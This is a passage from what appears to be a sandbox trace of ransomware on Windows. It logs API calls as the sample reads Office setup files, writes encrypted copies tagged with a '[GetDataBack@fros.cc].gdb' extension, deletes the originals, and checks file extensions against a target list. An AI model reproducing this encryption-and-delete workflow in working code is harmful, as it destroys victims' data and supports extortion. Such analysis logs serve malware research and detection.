returned 1 [0118.075] SetEndOfFile (hFile=0x194) returned 1 [0118.075] CloseHandle (hObject=0x194) returned 1 [0118.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0118.076] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1 [0118.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0118.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0118.076] lstrlenW (lpString=".doc") returned 4 [0118.076] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0118.076] lstrlenW (lpString=".docx") returned 5 [0118.076] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0118.076] lstrlenW (lpString=".pdf") returned 4 [0118.076] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0118.076] lstrlenW (lpString=".xls") returned 4 [0118.076] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0118.076] lstrlenW (lpString=".xlsx") returned 5 [0118.076] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0118.076] lstrlenW (lpString=".ppt") returned 4 [0118.076] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0118.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0118.076] lstrlenW (lpString=".zip") returned 4 [0118.076] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0118.077] lstrlenW (lpString=".rar") returned 4 [0118.077] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0118.077] lstrlenW (lpString=".bz2") returned 4 [0118.077] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0118.077] lstrlenW (lpString=".7z") returned 3 [0118.077] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0118.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0118.077] lstrlenW (lpString=".dbf") returned 4 [0118.077] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0118.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0118.077] lstrlenW (lpString=".1cd") returned 4 [0118.077] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0118.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0118.077] lstrlenW (lpString=".jpg") returned 4 [0118.077] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0118.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0118.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0118.077] lstrlenW (lpString=".doc") returned 4 [0118.077] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0118.077] lstrlenW (lpString=".docx") returned 5 [0118.077] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0118.077] lstrlenW (lpString=".pdf") returned 4 [0118.077] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0118.077] lstrlenW (lpString=".xls") returned 4 [0118.077] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0118.077] lstrlenW (lpString=".xlsx") returned 5 [0118.077] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0118.077] lstrlenW (lpString=".ppt") returned 4 [0118.077] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0118.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0118.077] lstrlenW (lpString=".zip") returned 4 [0118.077] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0118.077] lstrlenW (lpString=".rar") returned 4 [0118.077] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0118.077] lstrlenW (lpString=".bz2") returned 4 [0118.077] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0118.077] lstrlenW (lpString=".7z") returned 3 [0118.077] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0118.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0118.078] lstrlenW (lpString=".dbf") returned 4 [0118.078] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0118.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0118.078] lstrlenW (lpString=".1cd") returned 4 [0118.078] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0118.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0118.078] lstrlenW (lpString=".jpg") returned 4 [0118.078] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0118.078] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0118.078] lstrlenW (lpString="GrooveMUI.XML") returned 13 [0118.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0118.078] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=913) returned 1 [0118.078] CloseHandle (hObject=0x194) returned 1 [0118.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0118.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0118.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0118.079] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0118.079] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0118.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0118.408] GetLastError () returned 0x0 [0118.408] ReadFile (in: hFile=0x194, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x391, lpOverlapped=0x0) returned 1 [0118.635] WriteFile (in: hFile=0x1ec, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x3a0, lpOverlapped=0x0) returned 1 [0119.299] ReadFile (in: hFile=0x194, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0119.299] WriteFile (in: hFile=0x1ec, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xee, lpOverlapped=0x0) returned 1 [0119.300] SetEndOfFile (hFile=0x1ec) returned 1 [0119.300] CloseHandle (hObject=0x1ec) returned 1 [0119.300] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0119.300] SetEndOfFile (hFile=0x194) returned 1 [0119.301] CloseHandle (hObject=0x194) returned 1 [0119.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0119.301] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1 [0119.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0119.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0119.302] lstrlenW (lpString=".doc") returned 4 [0119.302] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0119.302] lstrlenW (lpString=".docx") returned 5 [0119.302] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0119.302] lstrlenW (lpString=".pdf") returned 4 [0119.302] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0119.302] lstrlenW (lpString=".xls") returned 4 [0119.302] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0119.302] lstrlenW (lpString=".xlsx") returned 5 [0119.302] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0119.302] lstrlenW (lpString=".ppt") returned 4 [0119.302] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0119.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0119.302] lstrlenW (lpString=".zip") returned 4 [0119.302] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0119.302] lstrlenW (lpString=".rar") returned 4 [0119.302] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0119.302] lstrlenW (lpString=".bz2") returned 4 [0119.302] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0119.302] lstrlenW (lpString=".7z") returned 3 [0119.302] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0119.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0119.302] lstrlenW (lpString=".dbf") returned 4 [0119.302] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0119.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0119.302] lstrlenW (lpString=".1cd") returned 4 [0119.302] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0119.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0119.302] lstrlenW (lpString=".jpg") returned 4 [0119.302] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0119.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0119.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0119.302] lstrlenW (lpString=".doc") returned 4 [0119.302] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0119.303] lstrlenW (lpString=".docx") returned 5 [0119.303] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0119.303] lstrlenW (lpString=".pdf") returned 4 [0119.303] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0119.303] lstrlenW (lpString=".xls") returned 4 [0119.303] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0119.303] lstrlenW (lpString=".xlsx") returned 5 [0119.303] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0119.303] lstrlenW (lpString=".ppt") returned 4 [0119.303] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0119.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0119.303] lstrlenW (lpString=".zip") returned 4 [0119.303] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0119.303] lstrlenW (lpString=".rar") returned 4 [0119.303] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0119.303] lstrlenW (lpString=".bz2") returned 4 [0119.303] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0119.303] lstrlenW (lpString=".7z") returned 3 [0119.303] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0119.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0119.303] lstrlenW (lpString=".dbf") returned 4 [0119.303] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0119.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0119.303] lstrlenW (lpString=".1cd") returned 4 [0119.303] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0119.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0119.303] lstrlenW (lpString=".jpg") returned 4 [0119.303] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0119.303] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0119.303] lstrlenW (lpString="OfficeMUI.XML") returned 13 [0119.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0120.223] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=5557) returned 1 [0120.223] CloseHandle (hObject=0x1fc) returned 1 [0120.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0120.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0120.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0120.224] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.224] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0120.224] GetLastError () returned 0x0 [0120.224] ReadFile (in: hFile=0x1fc, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x15b5, lpOverlapped=0x0) returned 1 [0120.334] WriteFile (in: hFile=0x200, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x15c0, lpOverlapped=0x0) returned 1 [0120.335] ReadFile (in: hFile=0x1fc, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0120.335] WriteFile (in: hFile=0x200, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xee, lpOverlapped=0x0) returned 1 [0120.335] SetEndOfFile (hFile=0x200) returned 1 [0120.355] CloseHandle (hObject=0x200) returned 1 [0120.355] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.355] SetEndOfFile (hFile=0x1fc) returned 1 [0120.356] CloseHandle (hObject=0x1fc) returned 1 [0120.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0120.356] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0120.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0120.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0120.357] lstrlenW (lpString=".doc") returned 4 [0120.357] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.357] lstrlenW (lpString=".docx") returned 5 [0120.357] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0120.357] lstrlenW (lpString=".pdf") returned 4 [0120.357] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.357] lstrlenW (lpString=".xls") returned 4 [0120.357] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.357] lstrlenW (lpString=".xlsx") returned 5 [0120.357] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0120.357] lstrlenW (lpString=".ppt") returned 4 [0120.357] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0120.357] lstrlenW (lpString=".zip") returned 4 [0120.357] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.357] lstrlenW (lpString=".rar") returned 4 [0120.357] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.357] lstrlenW (lpString=".bz2") returned 4 [0120.357] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.357] lstrlenW (lpString=".7z") returned 3 [0120.357] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0120.357] lstrlenW (lpString=".dbf") returned 4 [0120.357] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0120.357] lstrlenW (lpString=".1cd") returned 4 [0120.357] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0120.357] lstrlenW (lpString=".jpg") returned 4 [0120.357] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0120.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0120.357] lstrlenW (lpString=".doc") returned 4 [0120.357] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.357] lstrlenW (lpString=".docx") returned 5 [0120.357] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0120.357] lstrlenW (lpString=".pdf") returned 4 [0120.357] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.357] lstrlenW (lpString=".xls") returned 4 [0120.358] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.358] lstrlenW (lpString=".xlsx") returned 5 [0120.358] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0120.358] lstrlenW (lpString=".ppt") returned 4 [0120.358] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0120.358] lstrlenW (lpString=".zip") returned 4 [0120.358] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.358] lstrlenW (lpString=".rar") returned 4 [0120.358] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.358] lstrlenW (lpString=".bz2") returned 4 [0120.358] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.358] lstrlenW (lpString=".7z") returned 3 [0120.358] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0120.358] lstrlenW (lpString=".dbf") returned 4 [0120.358] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0120.358] lstrlenW (lpString=".1cd") returned 4 [0120.358] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0120.358] lstrlenW (lpString=".jpg") returned 4 [0120.358] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.358] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0120.358] lstrlenW (lpString="Office32WW.XML") returned 14 [0120.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0120.358] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=4274) returned 1 [0120.359] CloseHandle (hObject=0x1fc) returned 1 [0120.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0120.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0120.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0120.359] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.359] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0120.359] GetLastError () returned 0x0 [0120.359] ReadFile (in: hFile=0x1fc, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, 